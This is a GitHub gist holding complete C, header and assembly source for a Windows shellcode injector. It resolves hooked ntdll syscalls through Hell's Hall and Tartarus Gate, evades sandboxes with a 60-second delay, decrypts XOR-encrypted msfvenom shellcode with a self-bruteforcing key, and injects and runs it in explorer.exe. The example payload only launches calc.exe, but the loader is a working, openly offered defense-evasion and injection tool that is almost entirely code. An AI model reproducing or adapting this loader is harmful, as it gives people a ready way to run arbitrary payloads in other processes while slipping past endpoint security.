Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active July 15, 2024 20:15
Show Gist options
  • Save wizardy0ga/eaeb4647874a7a5186232ef7d3d98acb to your computer and use it in GitHub Desktop.
Save wizardy0ga/eaeb4647874a7a5186232ef7d3d98acb to your computer and use it in GitHub Desktop.
Classic remote process injection using syscalls via hells hall & tartarus gate. Encrypted shellcode is decrypted by encrypted self-bruteforcing encryption key & injected into explorer using the classic remote process injection method.
#include "hellshall.h"
VOID Xor(PBYTE pData, SIZE_T SizeOfData, PBYTE pKey, SIZE_T SizeOfKey) {
for (int i = 0, j = 0; i < SizeOfData; i++, j++) {
if (j >= SizeOfKey) {
j = 0;
}
pData[i] = pData[i] ^ pKey[j];
}
}
PBYTE DecryptKey(PBYTE EncryptedKey, SIZE_T KeySize) {
BYTE KeyByte = 0;
PBYTE OriginalKey = malloc(KeySize);
if (!OriginalKey) { return NULL; }
while (TRUE) { if (((EncryptedKey[0] ^ KeyByte) - 0) == 0x16) { break; } else { KeyByte++; } }
for (int i = 0; i < KeySize; i++) {
OriginalKey[i] = (BYTE)((EncryptedKey[i] ^ KeyByte) - i);
}
return OriginalKey;
}
HANDLE GetExplorerHandle(PSYSCALLS pSyscalls, QWORD* pOutPid) {
OBJECT_ATTRIBUTES OA = { 0 };
CLIENT_ID ID = { 0 };
SIZE_T BytesWritten = 0,
BufferSize = 0,
ArraySize = 0;
PVOID pBuffer = NULL;
PSYSTEM_PROCESS_INFORMATION Process = NULL;
HANDLE hProcess = NULL;
NTSTATUS Status = 0;
/* Get the buffer size for array to hold process structures */
prepare_syscall(pSyscalls->NtQuerySystemInformation);
Status = RunSyscall(SystemProcessInformation, NULL, 0, &BufferSize);
if (Status != STATUS_INFO_LENGTH_MISMATCH) {
error("NtQuerySystemInformation returned unexpected code: 0x%0.8X", Status); return NULL;
}
/* Allocate memory for the structure */
prepare_syscall(pSyscalls->NtAllocateVirtualMemory);
Status = RunSyscall((HANDLE)-1, &pBuffer, 0, (PSIZE_T)&BufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Status != 0x0) {
error("Failed to allocate buffer for array of SYSTEM_PROCESS_INFORMATION structures. Error: 0x%0.8X", Status); return NULL;
}
print("Allocated %lld bytes for array of SYSTEM_PROCESS_INFORMATION structures", BufferSize);
/* Write structures to array */
prepare_syscall(pSyscalls->NtQuerySystemInformation);
Status = RunSyscall(SystemProcessInformation, pBuffer, BufferSize, &ArraySize);
if (Status != 0x0) {
error("NtQuerySystemInformation failed with error: 0x%0.8X", Status); return NULL;
}
print("Wrote %lld process structures to array (%lld bytes)", (ArraySize / sizeof(SYSTEM_PROCESS_INFORMATION)), ArraySize);
/* Iterate over structures */
Process = pBuffer;
while (Process->NextEntryOffset != 0) {
if (Process->ImageName.Buffer != NULL) {
/* Get a handle to explorer */
if (CRC32((char*)(Process->ImageName.Buffer)) == EXPLORER_Hash) {
ID.UniqueProcess = Process->UniqueProcessId;
prepare_syscall(pSyscalls->NtOpenProcess);
Status = RunSyscall(&hProcess, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &OA, &ID);
if (Status != 0x0) {
error("Failed to get handle to explorer.exe. Error: 0x%0.8X", Status); return NULL;
}
*pOutPid = (QWORD)(Process->UniqueProcessId);
break;
}
}
Process = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)Process + Process->NextEntryOffset);
}
/* Release buffer */
if (pBuffer) {
prepare_syscall(pSyscalls->NtFreeVirtualMemory);
Status = RunSyscall((HANDLE)-1, &pBuffer, &BufferSize, MEM_RELEASE);
if (Status != 0x0) {
error("NtFreeVirtualMemory failed with error 0x%0.8X", Status); return NULL;
}
}
return hProcess;
}
unsigned int CRC32(char* string) {
int i,
crc;
unsigned int byte, c;
const unsigned int g0 = SEED,
g1 = g0 >> 1,
g2 = g0 >> 2,
g3 = g0 >> 3,
g4 = g0 >> 4,
g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0,
g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = string[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}
BOOL InitConfiguration(PNTDLL_CONFIG pConfig) {
PLDR_DATA_TABLE_ENTRY pEntry = NULL;
PIMAGE_DOS_HEADER pDos = NULL;
PIMAGE_NT_HEADERS pNt = NULL;
PIMAGE_EXPORT_DIRECTORY pExports = NULL;
CHAR ModNameLower[MAX_PATH] = { 0 };
ULONG_PTR ModuleBase = 0;
int string_size = 0,
offset = 0;
CHAR c = 0;
PPEB pPeb = (PPEB)__readgsqword(0x60);
/* Get the base address of ntdll */
for (pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; pEntry->DllBase != NULL; pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink) {
if (pEntry->BaseDllName.Buffer) {
string_size = lstrlenW(pEntry->BaseDllName.Buffer);
if (string_size <= MAX_PATH) {
for (c = 0; c < string_size; c++) { ModNameLower[c] = tolower((CHAR)(pEntry->BaseDllName.Buffer[c])); }
ModNameLower[c++] = '\0';
if (CRC32(ModNameLower) == 0xFFFFC51B) {
dbg_print("Found %S at 0x%p", pEntry->BaseDllName.Buffer, pEntry->DllBase);
ModuleBase = (ULONG_PTR)pEntry->DllBase;
break;
}
}
}
}
if (!ModuleBase) { dbg_print("Could not locate ntdll in peb."); return FALSE; }
/* Get the export directory */
pDos = (PIMAGE_DOS_HEADER)ModuleBase;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) { dbg_print("dos header signature mismatch"); return FALSE; }
pNt = (PIMAGE_NT_HEADERS)((PBYTE)ModuleBase + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) { dbg_print("nt header signature mismatch"); return FALSE; }
pExports = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pExports) { dbg_print("Could not locate export directory"); return FALSE; }
/* Add Function names, ordinals & addresses to config structure */
pConfig->BaseOfModule = ModuleBase;
pConfig->NumberOfNames = pExports->NumberOfNames;
pConfig->Names = (PDWORD)(ModuleBase + pExports->AddressOfNames);
pConfig->Addresses = (PDWORD)(ModuleBase + pExports->AddressOfFunctions);
pConfig->Ordinals = (PWORD)(ModuleBase + pExports->AddressOfNameOrdinals);
if (!pConfig->Addresses ||
!pConfig->BaseOfModule ||
!pConfig->Names ||
!pConfig->Ordinals ||
!pConfig->NumberOfNames) {
dbg_print("One or more config structure members is null."); return FALSE;
}
dbg_print("Successfully initialized ntdll config structure");
return TRUE;
}
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig) {
PCHAR Name = 0;
PVOID Address = NULL,
SyscallOpCodeAddr = NULL;
WORD CurrentIndex = 0;
BYTE OpCode = 0,
High = 0,
Low = 0;
/* Init the config if it's null */
if (!pConfig) {
if (!InitConfiguration(pConfig)) {
return FALSE;
}
}
/* Add hash to syscall structure */
if (Hash) {
pSyscall->Hash = Hash;
}
else {
return FALSE;
}
/* Search for the hash in the dll export functions */
for (size_t i = 0; i < pConfig->NumberOfNames; i++) {
Name = (PCHAR)(pConfig->BaseOfModule + pConfig->Names[i]);
Address = (PVOID)(pConfig->BaseOfModule + pConfig->Addresses[pConfig->Ordinals[i]]);
if (CRC32(Name) == Hash) {
dbg_print("Found %s at 0x%p with hash 0x%0.8X", Name, Address, Hash);
pSyscall->Address = Address;
/* Check if opcodes are loading ssn into eax.Store ssn in syscall structure. */
if (*((PBYTE)Address) == 0x4C &&
*((PBYTE)Address + 1) == 0x8B &&
*((PBYTE)Address + 2) == 0xD1 &&
*((PBYTE)Address + 3) == 0xB8 &&
*((PBYTE)Address + 6) == 0x00 &&
*((PBYTE)Address + 7) == 0x00) {
dbg_print("Syscall is not hooked.");
High = *((PBYTE)Address + 5);
Low = *((PBYTE)Address + 4);
pSyscall->SSN = (High << 8) | Low;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* If syscall is hooked, begin searching upper & lower syscalls */
if (*((PBYTE)Address) == 0xE9) {
dbg_print("Syscall is hooked, scenario 1.");
for (WORD idx = 1; idx <= 255; idx++) {
/* Search down in syscalls */
if (*((PBYTE)Address + idx * 32) == 0x4C &&
search_down(Address, 1, idx) == 0x8B &&
search_down(Address, 2, idx) == 0xD1 &&
search_down(Address, 3, idx) == 0xB8 &&
search_down(Address, 6, idx) == 0x00 &&
search_down(Address, 7, idx) == 0x00
) {
High = search_down(Address, 5, idx);
Low = search_down(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low - idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* search up in syscalls */
if (*((PBYTE)Address + idx * -32) == 0x4C &&
search_up(Address, 1, idx) == 0x8B &&
search_up(Address, 2, idx) == 0xD1 &&
search_up(Address, 3, idx) == 0xB8 &&
search_up(Address, 6, idx) == 0x00 &&
search_up(Address, 7, idx) == 0x00
) {
High = search_up(Address, 5, idx);
Low = search_up(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low + idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
}
}
/* Second scenario for syscall being hooked */
if (*((PBYTE)Address + 3) == 0xE9) {
dbg_print("Syscall is hooked, scenario 2.");
for (WORD idx = 1; idx <= 255; idx++) {
/* Search down in syscalls */
if (*((PBYTE)Address + idx * 32) == 0x4C &&
search_down(Address, 1, idx) == 0x8B &&
search_down(Address, 2, idx) == 0xD1 &&
search_down(Address, 3, idx) == 0xB8 &&
search_down(Address, 6, idx) == 0x00 &&
search_down(Address, 7, idx) == 0x00
) {
High = search_down(Address, 5, idx);
Low = search_down(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low - idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
/* search up in syscalls */
if (*((PBYTE)Address + idx * -32) == 0x4C &&
search_up(Address, 1, idx) == 0x8B &&
search_up(Address, 2, idx) == 0xD1 &&
search_up(Address, 3, idx) == 0xB8 &&
search_up(Address, 6, idx) == 0x00 &&
search_up(Address, 7, idx) == 0x00
) {
High = search_up(Address, 5, idx);
Low = search_up(Address, 4, idx);
pSyscall->SSN = (High << 8) | Low + idx;
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN);
break;
}
}
}
break;
}
}
if (!pSyscall->Address) {
dbg_print("Failed to locate function address."); return FALSE;
}
/* Jump ahead of function address by offset of 200 - 300 bytes */
srand((unsigned int)time(NULL));
SyscallOpCodeAddr = (PBYTE)pSyscall->Address + (rand() % (300 - 200 + 1 + 200));
/* Locate the address of another syscall opcode to spoof the function that's executed */
for (DWORD Index = 0; Index <= 0xFF; Index++) {
if (*((PBYTE)SyscallOpCodeAddr + Index) == 0x0F && *((PBYTE)SyscallOpCodeAddr + Index + 1) == 0x05) {
pSyscall->SyscallOpCodeAddress = ((PBYTE)SyscallOpCodeAddr + Index);
dbg_print("Located syscall instruction in ntdll .text at 0x%p", pSyscall->SyscallOpCodeAddress);
break;
}
}
/* Make sure all components exist */
if (!pSyscall->SSN || !pSyscall->Address || !pSyscall->Hash || !pSyscall->SyscallOpCodeAddress) {
return FALSE;
}
return TRUE;
}
#pragma once
#include <windows.h>
#include <stdio.h>
#include <time.h>
/* debug printing */
//#define DEBUG
#ifdef DEBUG
#define dbg_print(msg, ...) printf("[DEBUG] " msg "\n", ##__VA_ARGS__)
#else
#define dbg_print(msg, ...) do {} while (0)
#endif
/* Stdout */
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define error(msg, ...) printf("[ERROR] " msg "\n", ##__VA_ARGS__)
/* Syscalls */
#define prepare_syscall(syscall) PrepSyscall((DWORD)syscall.SSN, (PVOID)syscall.SyscallOpCodeAddress)
#define calc_offset(byte, offset) *((PBYTE)byte + offset)
#define search_down(byte, index, offset) *((PBYTE)byte + index + offset * 32)
#define search_up(byte, index, offset) *((PBYTE)byte + index + offset * -32)
#define get_ssn(hash, psyscall, pconfig) \
if (!GetSyscall(hash, psyscall, pconfig)) { \
dbg_print("Could not locate syscall."); return FALSE; \
} \
/* Function hashes */
#define SEED 8721
#define NtAllocateVirtualMemory_Hash 0xFFFFD7EC
#define NtProtectVirtualMemory_Hash 0xFFFFD05C
#define NtClose_Hash 0xFFFFDEB8
#define NtCreateThreadEx_Hash 0xFFFFD084
#define NtWaitForSingleObject_Hash 0xFFFFDF8A
#define NtWriteVirtualMemory_Hash 0xFFFFCB07
#define NtQuerySystemInformation_Hash 0xFFFFDAA1
#define NtOpenProcess_Hash 0xFFFFC9D0
#define NtFreeVirtualMemory_Hash 0xFFFFC97C
#define NtDelayExecution_Hash 0xFFFFC63A
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define EXPLORER_Hash 0xFF0006EB
#define SystemProcessInformation 5
typedef unsigned long long QWORD;
/* Structs */
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _NTDLL_CONFIG {
PDWORD Addresses;
PDWORD Names;
PWORD Ordinals;
DWORD NumberOfNames;
ULONG_PTR BaseOfModule;
} NTDLL_CONFIG, * PNTDLL_CONFIG;
typedef struct _NT_SYSCALL {
DWORD SSN;
DWORD Hash;
PVOID Address;
PVOID SyscallOpCodeAddress;
} NT_SYSCALL, * PNT_SYSCALL;
typedef struct _SYSCALLS {
NT_SYSCALL NtAllocateVirtualMemory;
NT_SYSCALL NtDelayExecution;
NT_SYSCALL NtClose;
NT_SYSCALL NtCreateThreadEx;
NT_SYSCALL NtWriteVirtualMemory;
NT_SYSCALL NtWaitForSingleObject;
NT_SYSCALL NtQuerySystemInformation;
NT_SYSCALL NtOpenProcess;
NT_SYSCALL NtFreeVirtualMemory;
NT_SYSCALL NtProtectVirtualMemory;
} SYSCALLS, * PSYSCALLS;
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize;
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
LONG BasePriority;
HANDLE UniqueProcessId;
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
/* Prototypes */
unsigned int CRC32(char* string);
HANDLE GetExplorerHandle(PSYSCALLS pSyscall, QWORD* pOutPid);
BOOL InitConfiguration(PNTDLL_CONFIG pConfig);
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig);
PBYTE DecryptKey(PBYTE EncryptedKey, SIZE_T KeySize);
VOID Xor(PBYTE pData, SIZE_T SizeOfData, PBYTE pKey, SIZE_T SizeOfKey);
/* External functions */
extern VOID PrepSyscall(DWORD SSN, PVOID SyscallOpCodeAddr);
extern RunSyscall();
.data
SSN DWORD 0h
SyscallOpCodeAddr QWORD 0h
.code
PrepSyscall PROC
xor eax, eax ; eax = 0
mov SSN, eax ; SSN = 0
mov SyscallOpCodeAddr, rax ; SyscallOpCodeAddr = 0
mov eax, ecx ; eax = ssn
mov SSN, eax ; SSN = eax = ssn
mov r8, rdx ; r8 = Address of the syscall op code 0x0F05
mov SyscallOpCodeAddr, r8 ; SyscallOpCodeAddr = Address of the syscall opcode 0x0F05
ret
PrepSyscall ENDP
RunSyscall PROC
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, SSN ; eax = SSN
jmp Run ; Execute the syscall
xor eax, eax ; Junk code
xor rcx, rcx ; Junk code
shl r10, 2 ; Junk code
Run:
jmp qword ptr [SyscallOpCodeAddr] ; Jump to the syscall instruction in ntdll.
xor r10, r10 ; r10 = 0
mov SyscallOpCodeAddr, r10 ; SyscallOpCodeAddr = 0
ret
RunSyscall ENDP
end
/*
Author:
wizardy0ga
Date:
July 2024
Arch:
x64
Tested on:
Windows 10 19045.4529
Compiler:
MSVC
Compile Instructions:
ML64 /c hellshall.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
cl.exe hellshall.c main.c
link.exe /OUT:HellsHallProcessInjector.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib hellshall.x64.obj hellshall.obj main.obj
Mitre:
Execution:
T1106 - Native API
Defense Evasion:
T1027.009 - Obfuscated Files or Information: Embedded Payloads
T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File
T1027.007 - Obfuscated Files or Information: Dynamic API Resolution
T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion
Description:
Classic remote process injection using syscalls via hells hall & tartarus gate. Executes a calc.exe payload in the address space of explorer.exe.
Encryption key for shellcode is also encrypted & will bruteforce itself during run time prior to decrypting shellcode.
*/
#include "hellshall.h"
/* Encrypted( msfvenom -p windows/x64/exec CMD=calc.exe exitfunc=thread )*/
CHAR shellcode[276] = {
0xEA,0x37,0xD9,0x06,0x81,0xE8,0x54,0x48,0x3D,0xDC,0x36,0x25,0xC3,0xA6,0xE6,0x0A,
0x78,0x45,0x6B,0x35,0x30,0x31,0x3A,0x18,0x51,0x54,0xED,0xC3,0x7F,0xDE,0x62,0x2E,
0xAB,0xFF,0x9F,0xFF,0xB7,0x72,0x02,0xE8,0x32,0xFA,0x20,0x08,0xF3,0xF2,0x93,0x23,
0x0A,0x47,0xF3,0xC4,0x7A,0x61,0xA0,0xBC,0x74,0x7A,0x39,0x30,0xEC,0x51,0xB4,0xC8,
0xEF,0xD7,0x4D,0xC6,0x12,0x52,0x05,0x52,0x8A,0xB8,0xEC,0x7F,0x60,0x08,0x40,0x90,
0x54,0x84,0x3B,0x3C,0x9E,0x20,0x26,0x8F,0x9B,0xBF,0x35,0xB6,0x7E,0x0A,0xC0,0x94,
0xA0,0x42,0x99,0x47,0x0E,0x6A,0x40,0x09,0x7E,0xBF,0xAB,0x2D,0xE6,0x8E,0x5F,0xEB,
0x43,0xD8,0xD3,0x73,0x0E,0xD2,0xDE,0x72,0x3E,0x67,0x03,0xDE,0x05,0x57,0x36,0xE4,
0xE4,0x04,0x41,0xC4,0x9E,0xCD,0x1C,0xBC,0xC1,0x89,0xC9,0xFA,0x8D,0x1D,0xF7,0x6F,
0xF3,0x42,0x20,0x02,0x03,0x33,0x79,0x45,0x70,0xDD,0x5B,0x69,0x26,0x33,0x26,0x82,
0xD9,0xF5,0x94,0xA1,0x6D,0x2E,0xBC,0x2C,0x59,0x51,0xCE,0xA3,0x81,0x50,0x49,0x03,
0xBD,0x11,0xF2,0xEE,0x16,0x79,0xE1,0x05,0xF8,0x88,0x61,0x1D,0x92,0x21,0xF3,0x2A,
0x7E,0xF1,0xAC,0x9D,0x4E,0x41,0x00,0x3A,0x81,0x0A,0xC6,0xF2,0x23,0xFA,0xC2,0xD5,
0xD8,0xC9,0xF4,0xAD,0x4B,0x8A,0xDB,0x52,0xE6,0x92,0x30,0xA6,0x8E,0xD3,0x61,0x27,
0xBD,0xE7,0x56,0xF5,0x8F,0xDE,0x5D,0x23,0xBB,0x20,0xF3,0x7C,0x2A,0x4B,0x11,0xB9,
0xC1,0x24,0x8D,0x91,0x40,0x14,0xE8,0xC4,0x76,0xFB,0x76,0xBA,0x2E,0xD4,0x4A,0x70,
0x05,0x0D,0x35,0x88,0x71,0x59,0xD5,0xC1,0xE7,0x23,0xA2,0x17,0xE3,0x9A,0xD7,0x75,
0x4B,0x75,0x3F,0xE7
};
int main() {
/* Encrypted decryption key for shellcode */
CHAR Key[256] = {
0xA9,0x3F,0xE3,0x5A,0xCA,0xBA,0x25,0xF0,0xFA,0x5A,0x3E,0xC0,0x31,0xBC,0x7D,0xD5,
0x81,0xA1,0xD3,0x45,0xD6,0x31,0x78,0xDE,0xF6,0x8A,0x3F,0x13,0x3C,0x0C,0xB8,0x24,
0x14,0x67,0x89,0x0F,0xB4,0xE0,0x8C,0x39,0x1F,0x66,0x28,0xDB,0xD9,0x58,0x6F,0xAD,
0x69,0x13,0x7B,0x54,0x13,0x3D,0x09,0x8B,0x52,0x53,0xD1,0x13,0x96,0x72,0x2B,0xDB,
0x42,0x68,0xE1,0x6E,0x62,0xFA,0xD4,0x9F,0xAF,0x72,0x51,0x76,0x43,0x6F,0xB1,0xD8,
0x1B,0x6A,0x32,0x78,0xD0,0x8A,0x17,0x80,0x94,0xA8,0x80,0xFE,0xEE,0x20,0x89,0x90,
0x34,0xDC,0xA4,0xCE,0xCC,0xA0,0xB6,0x79,0x21,0x16,0x73,0x68,0x66,0x98,0xFA,0xAD,
0x0D,0xC0,0xAF,0x0A,0x84,0xB0,0xDA,0x96,0xB5,0x20,0x83,0x2D,0x3B,0x2C,0x0A,0x1B,
0xE3,0xDA,0x09,0x07,0xE9,0xEC,0x69,0xA0,0xEE,0xEA,0xC5,0x09,0x3B,0xED,0x82,0x05,
0xB7,0x2C,0x29,0x61,0x29,0xC7,0x0A,0x24,0x2C,0xD5,0x12,0x77,0xF6,0xAF,0x67,0xD5,
0xC7,0x79,0xC8,0x72,0xB2,0xF4,0x25,0x6B,0x8E,0x06,0xFF,0x32,0x3A,0x04,0x01,0xB7,
0x13,0x45,0xDA,0xD5,0xB4,0x67,0xE0,0x82,0x73,0xDE,0x65,0xB5,0x96,0xC1,0xD6,0x95,
0x58,0xD3,0x19,0x66,0x9F,0xD2,0xA2,0x33,0xF9,0x01,0xDA,0x3A,0xDA,0x77,0x2F,0x1B,
0x17,0x25,0x79,0x3F,0xA0,0x28,0x93,0x09,0x00,0xD3,0xB5,0x3E,0x14,0xF9,0x91,0x34,
0x0D,0xFE,0x34,0xBC,0xA7,0x9C,0x99,0x4F,0x26,0xF5,0x8C,0x7A,0x14,0x5C,0xC5,0x8A,
0xBB,0xE2,0xBF,0xF7,0xE3,0xA2,0x5B,0x10,0xCB,0xCB,0x38,0xEA,0xE8,0x71,0x50,0x89
};
PBYTE pKey = NULL;
NTSTATUS Status = 0;
HANDLE hThread = NULL,
hExplorer = NULL;
QWORD ExplorerPid = 0;
DWORD OldProtection = 0;
SIZE_T BytesWritten = 0,
ShellcodeSize = sizeof(shellcode);
PVOID pShellcode = NULL;
NTDLL_CONFIG NtConfig = { 0 };
SYSCALLS Syscalls = { 0 };
LARGE_INTEGER DelayInterval = {
.QuadPart = -600000000
};
printf("[+] Press enter to begin\n"); getchar();
/* Get NTDLL base address & functions */
if (!InitConfiguration(&NtConfig)) {
return -1;
}
/* Delay execution for 60 seconds */
get_ssn(NtDelayExecution_Hash, &Syscalls.NtDelayExecution, &NtConfig);
prepare_syscall(Syscalls.NtDelayExecution);
dbg_print("delaying execution for 60 seconds.");
Status = RunSyscall(FALSE, &DelayInterval);
if (Status != 0x0 && Status != STATUS_TIMEOUT) {
error("Failed to delay execution!");
}
/* Populate syscall structures with SSN for syscall */
get_ssn(NtQuerySystemInformation_Hash, &Syscalls.NtQuerySystemInformation, &NtConfig);
get_ssn(NtClose_Hash, &Syscalls.NtClose, &NtConfig);
get_ssn(NtCreateThreadEx_Hash, &Syscalls.NtCreateThreadEx, &NtConfig);
get_ssn(NtWaitForSingleObject_Hash, &Syscalls.NtWaitForSingleObject, &NtConfig);
get_ssn(NtWriteVirtualMemory_Hash, &Syscalls.NtWriteVirtualMemory, &NtConfig);
get_ssn(NtAllocateVirtualMemory_Hash, &Syscalls.NtAllocateVirtualMemory, &NtConfig);
get_ssn(NtOpenProcess_Hash, &Syscalls.NtOpenProcess, &NtConfig);
get_ssn(NtFreeVirtualMemory_Hash, &Syscalls.NtFreeVirtualMemory, &NtConfig);
get_ssn(NtProtectVirtualMemory_Hash, &Syscalls.NtProtectVirtualMemory, &NtConfig);
/* Get a handle to explorer.exe */
hExplorer = GetExplorerHandle(&Syscalls, &ExplorerPid);
if (!hExplorer) {
error("Could not get a handle to explorer.exe"); return -1;
}
print("Got a handle to explorer. PID: %llu", ExplorerPid);
/* Allocate buffer for shellcode */
prepare_syscall(Syscalls.NtAllocateVirtualMemory);
Status = RunSyscall(hExplorer, &pShellcode, 0, &ShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Status != 0x0 || pShellcode == NULL) {
error("Failed to allocate memory for shellcode. Error: 0x%0.8X", Status); return -1;
}
print("Allocated %lld byte buffer at 0x%p", ShellcodeSize, pShellcode);
/* Bruteforce encryption key & decrypt shellcode */
pKey = DecryptKey(Key, sizeof(Key));
Xor(shellcode, sizeof(shellcode), pKey, sizeof(Key));
/* Copy shellcode into buffer */
prepare_syscall(Syscalls.NtWriteVirtualMemory);
Status = RunSyscall(hExplorer, pShellcode, shellcode, ShellcodeSize, &BytesWritten);
if (Status != 0x0 || ShellcodeSize != BytesWritten) {
dbg_print("Failed to write shellcode to 0x%p. Error: 0x%0.8X\n", pShellcode, Status);
if (ShellcodeSize != BytesWritten) {
error("Bytes written does not match expected amount. Written: %lld. Expected %lld.", BytesWritten, ShellcodeSize); return -1;
}
return -1;
}
print("Wrote %lld bytes to buffer at 0x%p", BytesWritten, pShellcode);
/* Set buffer memory perms to RX */
prepare_syscall(Syscalls.NtProtectVirtualMemory);
Status = RunSyscall(hExplorer, &pShellcode, &ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection);
if (Status != 0x0) {
error("Failed to set memory protections. Error: 0x%0.8X", Status); return -1;
}
print("Set memory protection to RX");
/* Execute payload (calc.exe) */
prepare_syscall(Syscalls.NtCreateThreadEx);
Status = RunSyscall(&hThread, THREAD_QUERY_LIMITED_INFORMATION | SYNCHRONIZE, NULL, hExplorer, pShellcode, NULL, FALSE, NULL, NULL, NULL, NULL);
if (Status != 0x0) {
error("Failed to create thread. Error: 0x%0.8X", Status); return -1;
}
print("Executing payload in new thread! ID: %d", GetThreadId(hThread));
/* Wait for thread */
prepare_syscall(Syscalls.NtWaitForSingleObject);
Status = RunSyscall(hThread, FALSE, NULL);
if (Status != 0x0) {
error("NtWaitForSingleObject failed with error: 0x%0.8X", Status); return -1;
}
/* Cleanup */
printf("[+] Press enter to cleanup"); getchar();
prepare_syscall(Syscalls.NtFreeVirtualMemory);
Status = RunSyscall(hExplorer, &pShellcode, &ShellcodeSize, MEM_RELEASE);
if (Status != 0x0) {
error("NtFreeVirtualMemoryFailed with error 0x%0.8X", Status); return -1;
}
prepare_syscall(Syscalls.NtClose);
Status = RunSyscall(hExplorer);
if (Status != 0x0) {
error("NtClose failed with error 0x%0.8X", Status); return -1;
}
print("Clean exit!");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment